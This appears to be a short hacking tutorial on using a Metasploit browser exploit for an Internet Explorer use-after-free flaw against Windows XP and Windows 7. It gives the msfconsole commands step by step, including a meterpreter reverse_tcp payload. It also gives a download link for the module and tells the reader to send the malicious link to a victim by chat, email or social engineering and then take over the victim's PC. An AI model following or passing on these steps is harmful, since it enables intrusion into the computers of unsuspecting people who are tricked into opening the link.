[curtis5000]

This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012, and there is currently no official patch for it.

Exploit Targets
Internet Explorer 7 on XP SP2
Internet Explorer 8 on Windows 7

Requirement
Attacker: Backtrack 5
ie_execcommand_uaf.rb Download here: http://sharesend.com/download/seh4r
save to root / modules / exploits / windows / browser /
Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ie_execcommand_uaf

show options
set SRVHOST <your IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your IP>
show options
exploit

you will get something like this
http://192.168.1.100:8080/QAzDMia

Send the link to your victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“


Have FUN.